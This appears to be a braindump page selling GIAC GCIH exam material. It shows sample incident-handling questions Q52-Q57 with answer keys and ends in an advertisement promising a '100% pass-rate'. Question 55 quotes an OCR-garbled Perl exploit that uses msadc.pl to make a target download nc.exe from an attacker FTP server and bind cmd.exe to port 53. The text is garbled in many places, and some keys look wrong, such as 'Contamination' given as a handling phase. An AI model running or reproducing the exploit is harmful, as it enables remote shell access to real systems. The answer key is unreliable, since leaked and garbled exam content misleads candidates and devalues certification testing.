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GIAC Certified Incident Handler Sample Questions (Q52-Q57):

NEW QUESTION # 52

In which of the following steps of the incident handling processes does the Incident Handler make sure that all business processes
and functions are back to normal and then also wants to monitor the system or processes to ensure that the system is not
compromised again?

A. Eradication

B. Containment

C. Recovery

D. Lesson Learned

Answer: C

NEW QUESTION # 53

TCP/IP stack fingerprinting is the passive collection of configuration attributes froma remote device during standard
layer 4 network communications. The combination of parameters may then be used to infer the remote operating
system (OS fingerprinting), or incorporated into a device fingerprint.

Which of the following Nmap switches can be used to perform TCP/IP stack fingerprinting?

A.nmap -O -p
B. nmap -sS
C. nmap -sT
D. nmap -sU -p

Answer: A

NEW QUESTION # 54
Which of the following are the limitations for the cross site request forgery (CSRF) attack?
Each correct answer represents a complete solution. Choose all that apply.

A. The attacker must determine the right values for all the form inputs.

B. The attacker must target a site that doesn't check the referrer header.

C. The target site should have limited lifetime authentication cookies.

D. The target site should authenticate in GET and POST parameters, not only cookies.

Answer: A,B

Explanation:
Section: Volume C

NEW QUESTION # 55
Adam, a malicious hacker performs an exploit, which is given below:

$port = 53;

# Spawn cmd.exe on port X

$your ="192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as

$pass = 'noone(@nowhere.com;# password

$host = SARGV[0];

print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h

$host -C \"echo

open $your >sasfile\"™); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("per]l msadc.pl -h $host -C \"echo bin>>sasfile\""); system("per]l msadc.pl -h $host -C
\"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host - C \"echo get hacked. htmb>>sasfile\"); system("perl msadc.pl -h



$host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n'"

system("per] nsade.pl -h $host -C \"fip \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a fip server)\n';

$0=; print "Opening ...\n"}

systen("per] nsade.pl -h $host -C \"nc -1-p $port -e cmd.exe\™); print "Done.\n"; #systenm("telnet
$host $port™); exit(0);

Which of'the following is the expected result of the above exploit?

A. Opens up a telnet listener that requires no username or password
B. Creates a share called "sasfile" on the target system

C. Opens up a SMTP server that requires no username or password
D. Creates an FTP server with write permissions enabled

Answer: A

NEW QUESTION # 56

You work as an Incident handling manager for a company. The public relations process of the company includes an event that
responds to the e-mails queries. But since few days, it is identified that this process is providing a way to spamers to perform
different types of e-mail attacks. Which of the following phases of the Incident handling process will now be nvolved in resolving this
process and find a solution?

Each correct answer represents a part of the solution. Choose all that apply.

A. Identification
B. Contamination
C. Preparation
D. Recovery

E. Eradication

Answer: B,D,E

NEW QUESTION # 57

IT certification exam cost is really large cost for most candidates in the whole world. Passing exam at first attempt will be everyone's
goal. Now our GIAC GCIH valid exam cram review can help you achieve your goal. Recent years we are engaging in providing
100% pass-rate GCIH Valid Exam Cramreview for buyers fromall over the world, and help thousands of candidates go through
exam every year. If you have doubt in your test, let us help you pass exam for sure.
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